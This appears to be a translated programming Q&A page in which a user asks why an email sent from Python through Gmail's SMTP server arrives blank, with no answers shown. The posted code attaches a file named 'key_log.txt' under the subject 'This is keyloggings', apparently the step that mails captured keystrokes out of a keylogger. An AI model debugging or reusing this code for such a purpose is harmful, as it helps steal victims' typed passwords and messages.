通过Python发送的电子邮件完全空白

时间:2018-10-23 17:14:11

标签: python-2.7

当我通过python向我的GMail帐户发送电子邮件时,该电子邮件已发送,但完全空白,即没有数据。这是我使用的代码:

 email_user = 'user@gmail.com'
 email_password = '********'
 email_send = 'send@gmail.com'

 subject = 'This is keyloggings '

 msg = MIMEMultipart()
 msg['From'] = email_user
 msg['To'] = email_send
 msg['Subject'] = subject

 body = 'This is keyloggings'
 msg.attach(MIMEText(body,'plain'))

 filename = 'key_log.txt'
 attachment  = open(filename,'rb')

 part = MIMEBase('application','octet-stream')
 part.set_payload((attachment).read())
 encoders.encode_base64(part)
 part.add_header('Content-Disposition',"attachment;filename= %s" %filename)

 msg.attach(part)

 server = smtplib.SMTP('smtp.gmail.com',587)
 server.ehlo()
 server.starttls()
 server.ehlo()
 server.login(email_user,email_password)
 text = msg.as_string()
 server.sendmail(email_user,email_send,text)
 server.quit()

0 个答案:

没有答案